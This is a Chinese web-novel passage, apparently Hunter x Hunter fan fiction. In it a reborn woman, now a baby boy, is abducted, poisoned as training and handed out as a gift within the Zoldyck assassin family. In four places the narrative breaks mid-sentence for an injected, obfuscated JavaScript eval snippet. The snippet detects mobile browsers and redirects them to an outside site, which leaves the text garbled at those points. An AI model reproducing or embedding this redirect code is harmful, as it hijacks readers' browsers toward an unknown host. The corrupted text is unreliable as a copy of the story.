《在揍敌客家玩纯爱是否搞错了什么》 1. 01 穿越，这是个玄学的问题。 一般来说，会出现很多前提条件。 例如看古董展，出车祸，摁多了一次抽水马桶，又或者是加班猝死。没有意外的人生不是人生，就像刮彩票没中钱一样令人索然无味。 林洛怀疑，自己可能是煤气中毒死的。 否则，一切都没法子解释啊！ 普通平凡的社畜，拥有一份早九晚五偶尔加班的工作，掉进人海里都捞不出来的平庸，拥有普通人的幸运与不幸运，在某个二线城市里和自己青梅竹马的好姐妹一起合租。她们两个昨天才一起度过了二十六岁的生日，结果今天一睁开眼，世界就像被生活揍了一拳那么猛烈。 这难道就是她拒绝帮领导加班后的报应吗？ 她没吃蛋糕的时候呛死，也没被闺蜜摁进蛋糕里，也没有在浴室里滑倒，安详入梦之后就穿越，除了煤气中毒别的没有任何可能吧…… 啊，但是家里用的都是电磁炉啊。 想不通，真的想不通。 林洛望着天花板，因为她只能望着天花板，连转动头部都显得有些费劲。 视线所及之处是类似有扶手的床，床头吊着一些星星灯，正散发着微弱的光，房间里很黑，亮的地方大概是月光从窗户外照进来，所以，现在应该是夜晚？林洛不由自主伸手，她勉强抬起自己的胳膊想去抓一个星星灯，结果看起来近在咫尺的灯却怎么也抓不到。该不会自己年纪轻轻就肌无力了吧？她不信邪，身子却重的不行，勉强去够灯已经浪费了不少体力，等到失去的注意力被转移回来之后，才发现自己的手臂短而胖。 胖得有些超重的感觉。 林洛微妙地看着自己的手，纵横小说界多年，她此刻能猜到自己是穿越，并且，还变成了一个婴儿。 这世界上的穿越，要么是灵魂穿越塞进死去的人身体里，要么是灵魂穿越塞进女人的肚子里，要么是本体穿越成为多出来的那个人，显而易见，林洛是个刚生出来不久的baby。 一阵冷风吹过，吹得她的身体在发抖，一瞬间鸡皮疙瘩都起来了。 或许是小婴儿的大脑太迟钝，直到这个时候她才发现有个小孩其实就站在那，双手扶着栏杆，往里头盯着林洛看——她睡的应该是婴儿床吧？ 男孩只比这床高了一些，露出一双黑白分明的大眼睛，他留着短发，穿着运动服似的衣服，没有任何表情，直勾勾盯着林洛看，被看久了，就像是恶鬼缠身一样觉得阴恻恻的。这该不会是自己的家人吧？林洛只能瑟瑟发抖，她想说话，却发出了咿咿呀呀的声音，声带还没有发育完全似的口齿根本不清晰。男孩却动了动，伸了一根手指过来，下一刻，林洛被戳了戳脸。 有点痛……她皱起脸，抓住了那根手指。 好冰凉的手指，和现在的氛围一样冷，他穿得这么多怎么还这么冷……现在天气很冷吗？ 男孩歪了歪头，林洛不知道为什么，也跟着歪了歪头。 下一秒房间里响起了一阵奇怪的音乐声，林洛还奇怪呢，这大半夜的扰民，就看见男孩接了个电话。不过这手机款式是不是旧了点？她瞅着这房间装修得不错啊，没道理给人用这么老人机的东西吧。 但男孩开口说的第一句话就让她傻眼了。 听不懂，根本听不懂。 这说的什么叽里呱啦的，不英语不日语不意大利语的，虽然上面三个她也不懂，但是问题是她压根连单词都没听懂任何一个啊！ 完了……她连英语都学不会，现在还让她换个母语，她岂不是要变成这个世界上的白痴？想到自己可能要变成白痴，林洛不禁红了眼眶，她克制不住抽噎了几声，原本在和电话那头讲些什么的男孩突然停下来，露出了疑惑的表情。 疑惑什么？没看过小孩哭吗。 林洛虽然是这么想的，却努力憋住了，毕竟她是一个成年人，有成年人的自我修养，面对一个小孩子，她得绷住！ 男孩微微眯了眯眼。 很快，他做出了决定似的，伸手抱起了林洛，另一只手将手机塞回了自己的口袋里，林洛趴在他怀里，侧着身子整个屁股坐在他手上，闷闷地闻到一种似有若无的味道，很不好闻。而男孩一脚踩上了窗台，看样子是要从窗户这一跃而下，林洛瞪大了眼睛，呼吸停滞。 男孩又停下了。 他掂量了一下林洛的重量，转身带她出了门，脚步声轻得几乎不存在。他穿过长长的走廊，欧式建筑风格的房间里黑漆漆的一片，林洛感觉自己的眼睛又变回了每边五点零，好奇地看着四周。 月光落在客厅里，那里坐着两个人影。 一男一女，年纪看着挺大，就是不知道为什么一动不动。 林洛眯着眼睛看，很快就发现了不对劲，那两个人的头上插了几根圆头钉子，双目圆睁，嘴巴大张，血从钉子插进去的地方流出来，满脸都是，四肢垂下来，没有任何活着的迹象。 林洛这次是真的忘了怎么呼吸。 现实生活里二十六年，除了逝去的长辈，她还未曾见过死亡的人，更何况还是这种显而易见被人杀掉的……那么抱着自己的这个男孩是谁？他真的是自己的家人吗？ 林洛被吓得哭出来，她不敢发出声音，只是眼泪不停地流出来。这个年纪要控制眼泪，似乎也做不到，于是她就只能趴在男孩怀里瑟瑟发抖。男孩不知道是找到了什么东西，塞进了口袋里，然后才回到了林洛原本的房间内，踩着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035544|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗户看了一眼距离，一跃而下。 林洛只觉得自己在飞。 过度刺激让她失去了意识，两眼一闭，晕死过去。 再次醒来时，他还在男孩的手上抱着，对方像超人一样不断地在空中起跳，超出人类极限的跳跃高度让林洛恍惚间以为自己来到了异世界，怎么可能会有人跳这么高……等下，自己正常世界里也不会有人这么杀人抢孩子吧？ 林洛不敢哭，怕这个男孩直接把她丢下去。 她也不敢闭上眼，怕自己眼睛一闭，就再也睁不开了。 穿越就肯定不是为了现在死掉，对吧？林洛迎风流泪，夜风太喧嚣，她的眼睛真的控制不住……而林洛本身就是一个爱哭的人，闺蜜戏称她为眼睛连接护城河，随时随地泪腺失控，等到九十九，护城河都被她哭干了也说不定。 也不知道是过了多久，林洛发现男孩终于停了下来。 他推开了一扇门，穿过一段很长的路，周围有人不断地低头问候，就好像他的地位很高一样。 四周好多树木，也有很多的奇怪眼睛，在树林里看着自己，林洛盯了一会儿，越看越觉得不知道是狼还是狗。她被男孩丢到一个人的怀里，那个人看着就觉得不太好惹，一直皱着眉头，不知道男孩说了什么，他又是一阵鞠躬。 男孩离开后，几个男人就围了上来。 有戳林洛脸的，有戳她手指的，还有人扒开她的婴儿纸尿裤看，给林洛吓得直蹬腿。 不是！不是！就算是婴儿也不要看女孩子吧！ 她抵抗得很用力，抱着她的人撑起她的后背，映入眼帘的是她短短的双腿，和小丁勾。 ……嗯，小丁勾。 ……小，丁，勾…… 林洛两眼一翻，今夜第二次晕了过去。 这是什么古早女穿男设定！以后谈不谈对象啊！谈男的还是谈女的啊！怎么谈啊！ 林洛在梦里都哭得够呛。 闺蜜啊，带我走吧，穿越之后没法活了。是，我是口嗨过下辈子要做个男的，我是真没想到我上辈子如此短暂，这辈子真的就来了！ 她，呃，或者应该叫他。 他抽抽噎噎，在婴儿摇篮里，睡的十分不安稳。 而一群大老爷们围观着，露出不解的神情。 “饿了？不像，还睡着。” “也没尿没拉，纸尿裤很干爽。” “少爷这是带回来做什么？” “少爷的决定，我们不需要多嘴。” “如果少爷不想要了，就送去山下找人收养，如果有些麻烦不能除掉，就送他上路。” “是。” 今夜，黑压压的枯枯戮山，依旧风平浪静。 2. 02 林洛苦于几件事。 第一，他是婴儿，生活不能自理，拉撒全靠生理反应，憋不住，真的憋不住。 第二，他听不懂话语，虽然勉强记住了周围几个大哥的脸，却还是听不懂他们说的什么东西。 第三，就是神出鬼没的男孩。 他会突然的出现，突然的消失，和鬼一样站在他面前，和他玩一种很新颖的消失游戏。就是把手遮住脸，突然拿来露出整张脸，这种逗小孩很有用的方式，只能把林洛吓得以为半夜鬼敲门。 林洛必须忍受别人给自己换纸尿裤，还要忍受男孩过来学换纸尿裤，相当笨拙的换完就能得到热烈的掌声，然而等他走之后这群西装酷哥就会立刻给自己重新换一遍，真是劳累啊，应付小孩的时候。最难熬的还得是洗澡的时候，小孩子不需要介意，男孩子也不需要介意，但心理性别为女且灵魂为成年人的林洛，真的很介意。 顺带一提，男孩过来学怎么给林洛洗澡的时候，差点把他淹死，还好戴眼镜的大哥眼疾手快把他捞起来，否则林洛就可以结束这不太完美的一生了。 洗澡，擦干，打粉，穿纸尿裤。 男孩学得有模有样，越发熟练，眼里隐约显露出一种满意的情绪来，哪怕表情没有变化，但林洛依旧觉得，他的嘴角像素点一定是多了两颗的。 他就是一个被翻来覆去折腾的真人版换装娃娃。 他愁啊，头发都得掉。哦……他还没有能掉的头发，脑壳上顶着的暂且叫胎毛。 由于自己一个人的时间太多，林洛学会了翻身，毕竟不能够翻身只能可着一个姿势睡，他觉得自己和躺棺材里了没区别。学会了翻身，就想学爬，四肢并用爬起来的时候，不得不感叹一下，这个有超能力的世界就是叼啊，他这个岁数每天都得睡十好几个小时吧，在这儿都能爬了。 他能爬的时候，酷哥们惊叹不已，把他放在了地上。 林洛也有点喜欢抓东西玩，结果这地方哪哪儿都不对啊，他想抓一下拖鞋，那鞋比他命还重，他想推一下垃圾桶，要不是每天都看到有人倒垃圾，他都以为是有人把垃圾桶焊地上了，他想抓椅子，承受了他一个人重量的椅子纹丝不动。爬一圈下来，抓一圈东西，林洛和跑了八百米也没差，直接在地上睡死。 爬多了，膝盖疼，这里的人没有垫垫子的意识，林洛只能学走路。 也不知道是他天赋异禀，还是毕竟是个成年人的灵魂，他学走路学得很快，基本上只用了几天的时间。他学会走路之后就开始尝试爬高一点的地方，比如爬椅子上再站起来，去抓桌子上的勺子，可他拿不动，只能努力地拽，努力地拉，但不论如何勺子都纹丝不动。 他有些气馁，心想你们该不会把勺子也焊桌子上了吧？ 突然从他身后伸出一只手，帮他拿起了勺子。 是那个大眼睛的男孩，他盯着林洛看了一会儿，当着林洛的面用勺子轻轻敲了敲桌面，在桌子上留下了一个个坑，林洛瞪大了眼睛，仿佛看见了什么超自然现象。我擦，你们家的东西重成这样，是为了做什么？ 男孩似乎被他的表情逗了一下，伸手把他从椅子上抱下来。 男孩说他听不懂的话，他说咿咿呀呀的婴儿话，自顾自地拍手，假装自己不谙世事。男孩把他抱出去，林洛侧耳听着他们的呼唤，什么yilu什么……他张了张嘴，努力想要发出这个声音。小孩子的注意力容易被转移，林洛很快忘记了自己刚刚要假装什么，龇牙咧嘴了一阵子，磕磕绊绊的吐出来刚刚他们叫的那个单词，“yi…lu……ni？” 他读的不是很标准，好像还读错了，因为隔壁的大叔差点就要窜过来捂住他的嘴巴，但是男孩挑了挑眉，露出个意味深长的表情来。 他说，“lrumi。” 林洛翻来覆去念了几遍，发现自己一开始是将最后一个单词读错了，虽然不太懂这个词的意思，但大概是这个男孩的名字吧，读起来像伊路米还是伊尔迷，类似于这种感觉？认识了一个词之后，林洛豁然开朗，原来也不是没有共同的地方啊，这样看来他大概能够学习了！ 大概是伊尔迷也意识到了这一点，吩咐了什么下去，而后林洛的玩具里就多了一些看图识字的卡片，玩游戏似的一些书籍，应该是最普通基础的那一款。 无聊的人生终于有了消遣，林洛感激涕零。 虽然你好像灭了我全家，还把我当娃娃，但是你让我活下去了，ok，我将暂且忘掉这件事。毕竟复仇需要有愤怒心理，而恐惧的心理是无法复仇的。 正义司法制裁罪犯，但是制裁不了超级赛亚人。 林洛为了能够交流，快点长大，早点离开，几乎是在努力地学习，自己一个人钻研，实在不懂就随手拉个人，让他们读，类似与近似做标记，不知道是不是新脑子就是好使，林洛已经能够听懂绝大部分的话语。 类似于，“今天又有人来闯门了？” “嗯，都喂了三毛。” “真是麻烦啊这群人，不懂变通的吗？” “我们只需要守护着这条路就行了，别让人能进主宅，否则你和我都得以死谢罪。” “还没人能过梧桐管家的防守吧？” “也是。你说伊尔迷少爷今天还来吗？” “不清楚，也许是对这小孩腻味了吧？留下来当个佣人也行，毕竟这孩子看着可聪明。” 看着可聪明的林洛慢腾腾地继续看自己的认字书。 要留下来当佣人？不是吧哥们，用你们这个能杀人的勺子吃饭吗，牙都得崩断两颗。 这个时候，林洛就无比的想念闺蜜，相比起笨蛋一样的自己，闺蜜是点子多多的人，说不定就带着自己逃出去了呢？虽然有什么既来之则安之的信念，可一想到那么小一个小男孩，杀人不眨眼，还把他带走了养，就觉得浑身鸡皮疙瘩都要起来了。 他现在最害怕的人只有伊尔迷，没有之一。 正想着，一双手突然把他抱了起来，转了个身子才发现又是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林洛被带进了一个院落，庭院里有假山，而走廊是木头做的，推开一扇门进入，是个装修简单设施齐全的房间，伊尔迷将林洛放下在地上，就自顾自走到了一旁泡起了牛奶。 林洛有一种和连环杀人犯独处一室的惊悚感。 就不能让他继续在那个佣人府邸吗，他觉得自己挺适合做佣人的，假以时日也一定能够拿起那个勺子的！他左顾右盼，想着能不能找个安全一点的小角落，不过要是伊尔迷突然不想搭理他把他杀了，自己起码能痛快点吧？ 最后他缩在了毯子上，后背是椅子。 伊尔迷测好了温度，将奶瓶递过来，这奶瓶分量挺重，林洛两只手才能勉强抱着，肚子里也确实饿得咕咕叫，也没有矜持什么不吃杀人凶手给的东西，低头使劲地嘬。 第一口，这味儿不太对啊，再尝尝。 第二口，怎么有点酸呢，坏了？不行，再尝尝。 第三口，第四口，第五口，确实有点酸，不过没事，不碍着喝，应该死不了吧！糙养的孩子命会长的。 林洛喝下了小半瓶。 他觉得世界在颠倒，眼前晕乎乎的，呼吸有点痛……不对，每一次呼吸都在痛。他抬起眼睛看伊尔迷，男孩观察着他的表情，一动不动，像玻璃皿外的人类，看着玻璃皿里的小白鼠。 诶…… 肺燃烧似的疼痛，林洛失去了视觉与听力，世界很安静，下一秒，他整个人砸在地面上，不省人事。 3. 03 林洛想过无数种死亡的可能性。 被伊尔迷弄死的排第一，他们不要他了把他丢出去饿死了排第二，每天在外面的那些怪物把他吃了排第三。 可他千算万算没算到，你在奶里下毒啊伊尔迷！ 以为自己醒不来的林洛，很可悲的还是醒来了，面朝天花板，整个人都疼得抬不起一根手指头。疼，实在是太疼了，五脏六腑都疼的要拧巴在一起，再狠狠地锤上两下然后用刀插进去，那种疼痛。 由于太疼了，林洛只能不停地掉眼泪。 呼吸都疼，所以连呼吸都不敢，只能一点一点呼吸，痛得撕心裂肺又不敢动弹。 然后他看见了伊尔迷，对方拿了一支注射器，抬起他的胳膊，那胳膊上青青紫紫的，林洛觉得自己生不如死，但他将针头插进来注射的时候，疼痛居然得到了缓解。不是大哥，你是想我死还是想我活你吱个声啊……死去活来可不兴啊！ 他短暂的晕厥了一阵子，彻底清醒的时候外边的天都黑了。 手上还残留着淤青，摁一下就疼，呼吸也有一些轻微的疼痛，肚子里有些不舒服，但整体来说都挺好。他这个还得穿纸尿裤的小孩不想留在这里，趁着房间里没人，蹬着小短腿就往下爬，腿试探性地想要接触地面，探了好几次没探到，很努力地往下探索，摆动，紧接着，他被一只冰凉的手握住了脚。 林洛浑身一抖，立刻如同鹌鹑。 男孩的手掌粗糙，好像做过很多活似的，冰冷得像是尸体一样。他轻轻一托，将林洛托回了床上，递给他一瓶和刚刚一模一样的牛奶，林洛有些抗拒，他并不是很想喝这种东西，再喝一次他一定会死的……但伊尔迷只是往他怀里送了送，安抚了一句，“这次的没毒。” 那就是上次的确实有毒啊！ 五脏六腑被进攻得实在是疼痛，林洛只能硬着头皮慢慢喝，这一次的牛奶味道对了，他也就靠这热乎乎的牛奶安抚自己的五脏庙，毕竟疼过头了，就是要吃点好的。虽然不知道为什么这家伙要给自己喂毒，但很明显，他是神经病！ 伊尔迷摸了摸他的头。 “你，真的有点不太一样呢。” 被这么说了一句的林洛背后汗毛耸立，不，这句话放在这里也太可怕了吧！ 他努力往后缩，却没能斗得过这个年纪的小男孩，十二三岁就锻炼得满身腱子肉，手一勾就带他进怀里，拍拍他的背意思意思打了一下嗝出来，就带去洗澡。伊尔迷顺便把自己也洗了，林洛生无可恋，他对自己的小丁勾没兴趣，对别人的大象也没兴趣，这个年纪的男孩子这样的尺寸真的没问题吗……他还是个没谈过恋爱没牵过手的黄花大闺女，他不应该受这种苦。 能不能来个人告诉他他穿越到底是来干嘛的？ 系统呢，系统在哪里，完成什么任务就能回去吗……拜托了，自由行可一点也不酷啊。 林洛猛男落泪。 他的不情不愿实在是肉眼可见，但奈何伊尔迷长了一双这么大的眼睛，偏偏对他的抗拒视而不见。 如果他不知道伊尔迷杀过人，他或许还会没那么害怕，但是伊尔迷杀过人，他就只剩下害怕了。他是人类，害怕人类死在自己面前的人类，那一天晚上看见的凶案现场让他几乎夜不能寐，睡着了也是做噩梦。多亏了那毒药吗？他竟然还睡了个好觉！ 伊尔迷甚至搂着他，给他讲睡前故事。 故事是一个杀手去杀人的故事，描绘得淋漓尽致，怎么杀人都念得平铺直叙，林洛听得头皮发麻，感觉自己身上的肉都要被一刀一刀割下来了。 以至于伊尔迷停下来睡觉后，他始终睡不着。他睡不着，伊尔迷就睡不着。 伊尔迷掏出了钉子，对准了林洛。 林洛，撅。 说不清自己是被吓晕的还是插钉子弄晕的，林洛一觉睡到大天亮，迷迷糊糊被塞了奶瓶，喝了两口才迟钝的发现今天的牛奶发苦。林洛喷出一口血，没几秒清醒时间又陷入了沉睡，年轻就是好啊，倒头就睡……他苦中作乐，昏厥时还感觉自己在一抽一抽的吐血。 这次清醒后，他在梧桐的身边。 梧桐啊……他泪流满面。我真的很想你啊梧桐……多么想喊你一声爸爸，让你知道我对你的依赖！但林洛说不出话，他像直接被毒哑了。 梧桐给他喝了点温水，又让他继续躺着休息。 另一个酷哥在身边直叹气，“这小家伙，可算是从鬼门关里救回来了。” “少爷拿不准量，也正常。” “差点就死了，养了这么久，多少也有点感情了。” “我们只是佣人而已，他的生死，也在少爷的一念之间而已。” 然后他们就不说话了。 林洛昏昏沉沉的，他想，自己是不是惹伊尔迷不高兴了？其实一开始他是真的叫错了，不小心把伊尔迷叫成了伊路哥，像是管他叫哥哥，你要是在意的话你说啊，我肯定跟你道歉。但他没等到一个说话的机会，嗓子养了三天才能正常说话，没事就举小勺子玩，玩来玩去，这勺子他也能勉强用来吃饭了。 不知不觉已经在梧桐这里过了一年，这里好像没有什么过新年的意思，只是冬天特别冷，第二天要吃一点好吃的东西，梧桐给了他一包红色袋子的纸封，林洛小心翼翼放在枕头下，祈求明年伊尔迷能离自己远点。 他正举着勺子往嘴里扒拉面团子似的饭，伊尔迷就从门口进来了，一人一个发红包，发到林洛的时候还是想了想才发的，林洛不敢不接，唯唯诺诺的接了，嘴里下意识的吐出来一句吉祥话。 “恭喜发财……” 这下自己能埋在发财树底下了吧？ 伊尔迷摸摸林洛的头，转身就走了，外面雪那么大，他却一下子就消失了。 林洛还是把这个红包也塞进了枕头下。 以后这都是离开的本金呀！ 他不太睡得着，看着外面的风雪，心里想着家。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035546|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 实际上家里也就闺蜜一个人，他想起之前他们一起过年，他包红包给闺蜜，两个人一起去超市，一起买食材，回家煮火锅吃。一个锅子两个人，可乐开起来倒满满的一杯，他们干杯，互道新年快乐，彼此都庆贺新的一年又来临。 深深啊，你自己一个人在家里，得好好吃饭，没有我的话，也不要难过啊……林洛闭上眼睛，他祈祷着。 说实话，林洛并不讨厌和梧桐他们住在一起，虽然他们看起来脾气就很坏，实际上嘴巴碎碎的，经常念叨一些悄悄话，会给林洛买一些小孩穿的衣服和几个玩具，会看着林洛走路在那边自以为小声地说“天呐他站起来了”“他居然站起来了”，搞得林洛觉得自己的人生处处是观众。 他进入能够拿着勺子挖米糊吃之后，就再也没有人喂他吃饭了，这正合他意，他自己一个人的生活就很好了，要是没有伊尔迷就更好了。 说曹操，曹操到。 庭院里，伊尔迷正带着一个和她差不多大的小孩在玩，那小孩好像还没怎么学会稳步行走，就跑得比猫快，刷刷刷在树林之间玩跑酷，惊掉了林洛的下巴。而那白头发小孩立刻注意到了他，奶声奶气叫着伊尔迷“哥哥”然后手指就指过来了，林洛下意识就想着要躲起来，左顾右盼开了衣柜就钻进去，结果只进去了上半身，屁股还在外面就被人扯了出来。 伊尔迷拎着林洛，让自己弟弟能够看清楚他长什么样，林洛只想钻进地里。 白头发的人是真的存在的吗？少年白啊！ 林洛和小孩大眼瞪小眼，小孩还在口齿不清地说：“弟弟、弟弟……” “不是弟弟哦，奇犽。”伊尔迷很耐心地说，“亚路嘉还在家里呢。” “弟弟！” “……hum”伊尔迷没再纠正他。 林洛想把存在感降到最低，奈何房间里就三个人，伊尔迷权衡了一下，还是把林洛放下之后，抱起奇犽想要先走出去，只不过他一抱，奇犽就哭，张着嘴哇哇大哭。惨不忍睹，就那个抱小孩的力度，是小孩都得哭。 伊尔迷看起来颇为受挫。 他松开手，奇犽就闭嘴了，一点也没有哭过的痕迹，看起来完全是骗人的。 奇犽拉着林洛的手，拖着他往外走。 林洛抗拒。 林洛抗拒无效。 他被拉到了院子里，两个人互相盯着对方看了一会儿，不太清楚是不是真的懂了对方的意思。而后，他们开始玩躲人大战，一个人抓，一个人躲，不能被抓到。 天呢，这世界简直就是超级赛亚人世界，两个一岁多的孩子，竟然能在这个庭院里奔跑，四肢爬行，树梢跑酷，甚至奇犽的速度快得让林洛招架不住。 最后奇犽扑倒了林洛，咯咯咯笑起来。 林洛气喘吁吁，感觉自己快要死了。但是他看见了伊尔迷若有所思的眼神，一瞬间又开始心跳骤停了。 ……他绝对憋不出好事，绝对！ 4. 04 伊尔迷确实没放什么好屁。 在又被毒得差点见阎王爷之后，林洛似乎勉强产生了抗体，喝发苦的奶，吐最黑的血，转念一想，也能当作清淤堵来安慰自己，国人的一生都在养生。 酷哥们喜极而泣，梧桐也没那么偏头痛发作地皱着眉头了，露出一点笑意摸了摸林洛的脑袋瓜子。 最近他们在讨论要不要给林洛取个名字。 在一堆什么“小金花”“小喇叭”“苦哈哈”和“迪拉拉”里，林洛苦大仇深，不知道自己犯了什么法不能拥有一个正常的名字，他努力地把自己的名字发音念出来，可惜没人听。 梧桐制止了他们，他的意思是，林洛还没被伊尔迷丢掉，就还是伊尔迷的东西，不可以给主人的东西取名字。 林洛从人类沦为物品，在心里猛打拳。 而这个时候，梧桐抱起了他，终于把伊尔迷憋出来的大招告诉了林洛，“走吧，我带你洗个澡，换身衣服，老爷要见你。” 林洛的灵魂要升天了。 他呆滞地想，身为少爷，伊尔迷杀人，那身为爹呢？他杀不杀？他肯定是其中一员！要死了要死了要死了……梧桐知道他听懂了，还在教他，见到老爷要怎么做，怎么鞠躬问候，回答问题的时候不要抬头，不要左顾右盼东张西望。 最重要的一点——“你想活着，就需要对他维持最高的敬畏。” 林洛懂了，老爷这个家庭的king啊。 林洛心想，你以为我会勇猛地A上去吗？还是装作小孩子天真无邪懵懂实力派卖萌获得人家的欢心？奇犽那种可爱的孩子已经足够了，他这样的，呃，演戏蹩脚，脑子不清醒，经常忘记自己要做什么然后自己打自己脸的家伙，世界底层的底层，最希望的达成的结局是Be otten啊！ 林洛被好好地清洗过一番，爽身粉拍了一身，头发也被吹干梳好，甚至换了一套粉嫩可爱的小裙子……不是哥们，我现在不是男的吗，你怎么给我穿裙子？在林洛震惊的眼神里，梧桐理所当然地回答，“大少爷吩咐的。” 他摸了摸林洛的头，给了他一个祝福，“活下来。” 好可怕，要上战场一样可怕。 林洛的腿肚子都在抖，本来还有梧桐可以依靠，但是不知道为什么伊尔迷自己来接人了，看了看他的装扮，点头说了句不错就把他接过了。这一路上林洛都抖得像筛糠，伊尔迷摁住他，他就是震动模式，松开他，他就是发抖模式，来来回回玩了好几次好像给他玩上瘾了，要不是已经到了地方，伊尔迷还能玩个十几二十次。 林洛被送进去，大气不敢出，看也不敢看，没走两步看见伊尔迷停下来，低着头的他也不知道自己是不是也要停，一憋气咚的一声跪了下来，发出好大一声。 伊尔迷也没让他起来，只是叫了声“爸爸”。 林洛忍着不揉膝盖，很恭恭敬敬叫了一声老爷，由于语言系统还在发育，叫的稍微有些乱，但总归来说发音还是正确的。他没敢抬头，接受着视线的审视。曾经他看小说，看到什么锐利的视线几乎穿透他的身体这种描写，还会觉得你丫激光眼啊，可是站在他真正体会到了这种感觉，并且有一种随时随地会心脏爆炸的错觉不停地让大脑感受恐惧。 沉默在他们之间蔓延，呼吸凝固一般难以吞吐，喉咙里毒药灼烧的疼痛还在持续，连呼吸都像是被禁止了一般难以做出行动，他的双腿跪得发麻，每一块肌肉都紧绷着让他不至于立刻倒下。太可怕，就像是尸山血海里被杀人狂盯着一样令人胆战，林洛被吓得连眼泪都掉不出来。他不清楚自己是怎么了，头顶好像有东西压了下来，他整个人都陷入极度的恐惧之中，脑子里像是有一根筋绷得那么紧，快要断裂，快要让他发出声嘶力竭的惊恐尖叫，可是他还是跪着，一动不敢动。 不知道过了多久，或许是有一个世纪那么长，又或者其实只是短短几分钟，汗水顺着鼻尖落在地面，汇聚成小小的一点水渍，而他在水渍的倒影里看见自己惊恐的眼睛。 “……嗯，合格。” 这句话落下时，林洛身上骤然一松，刚刚受到的压力立刻就散开了，他的脖子僵硬，全身定格，就算是感受到那个人收回了气场，也分毫不敢松懈。 “抬起头来看看。” 林洛缓缓转动了酸痛的脖颈，随着抬头他终于看见了这个房间的全满，以及兽皮上坐着的男人，他散着一头白发，身侧躺着呼呼大睡的奇犽，肌肉伟岸，大概属于那种一出场就让人心安了的类型。奇犽好像完全没被这里的事情影响到，他撅着屁股睡在软垫里，甚至用口水在他爹的腿上擦了一片湿漉漉的区域。 男人盯着他的眼睛看了一会儿，突然笑了起来。 “不错，没有被吓到崩溃，伊尔迷，你捡回来一个好苗子。” 他像是觉得林洛听不懂这么长的话一样，语速不快不慢，没有半点要避着的意思，手指轻轻撩开奇犽前额的碎发，这一刻他表现得像是个温和的老父亲。 “嗯，毒药的抗性也有了，再大一点可以进行下一步骤训练。” 伊尔迷点了点他的脑袋，林洛悚然一惊，迅速低下头去，看似乖巧实际上是因为他什么也做不到而沉默着。 “我在你这个年纪的时候也会好奇，不过伊尔迷，你知道你现在的责任是什么，对吧？” “啊、爸爸，我知道，为了把奇犽培养成最出色的杀手，我会做一切力所能及的事情。” “嗯。那么我做主了，就当作是你十四岁的生日礼物。” “谢谢爸爸，那我就带去给妈妈看了。” “去吧！但是小心点，她还怀着你的弟弟。” “是，爸爸。” 林洛勉强站起来，他一步步跟着伊尔迷走出去，心里很茫然。什么叫作就当作你十四岁的生日礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035547|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物？ 他被默认没有自我，没有价值，没有归属，他并不属于他自己，而是可以被作为物品留下，等待主人判断价值，再通过另外一个人的评价判断，作为物品赠送。 他抬起短腿，跨过门槛，脑子一片空白。 他从人变成物品，这种意识在曾经总是被他下意识的否定，却没有一刻这么清晰地呈现出来。 他在制度完善的社会里拥有了自我与灵魂，尊重与平等。 而这一刻他清晰地意识到，自己已经不再只是自己了，有很多附属的词条，而现在他头上贴着的那个词条是：伊尔迷的十四岁生日礼物。 你们杀了我的父母，你们将我当作了物品。 那我，要怎么才能，活下去？作为附属品，作为物品，还是作为玩具？ 他失魂落魄，没走两步眼泪就砸在了地上。 伊尔迷将他抱起来，一双黑白分明的眼睛漠然注视着他的表情，指腹轻轻擦去了他的眼泪，像是有一声极低的叹息，类似于养的小狗不愿意回家，那样的轻飘飘的叹息，掌握着一切的叹息。 “我带你去见妈妈。” 他这么说着推开了另一扇门，伴随着高亢的女高音穿透耳膜，林洛一阵耳鸣。 “伊尔迷——！妈妈好想你，快来妈妈这里！真是的，老公真是的！怎么可以同意什么乱七八糟的礼物，这个孩子本来就应该丢进流星街才对——！！” 她的声音那么尖锐，搅动着沉重的脑子，林洛被伊尔迷举在半空中，让他的妈妈好好看清楚他现在的样子，于是女声减弱了一些，他愣愣地看着那个脸上佩戴电子激光眼镜的女人，露出的脸貌美至极，散乱着黑色的长发，小腹高高隆起，躺在床上时身边还有个七八岁的小男孩，不断地吃着一包薯片。 “妈妈，糜稽现在的体重，不太适合女装了，对吧。我也需要出任务。” “呜、但是——但是——！！” “奇犽也不喜欢裙子，但是他没有任何的不舒服。” 似乎是很重要的一件事情一般，伊尔迷强调了一句，“我的礼物，可以借给妈妈你玩。” 吃着薯片的糜稽猛塞进嘴里，看林洛的眼神像看救世主。 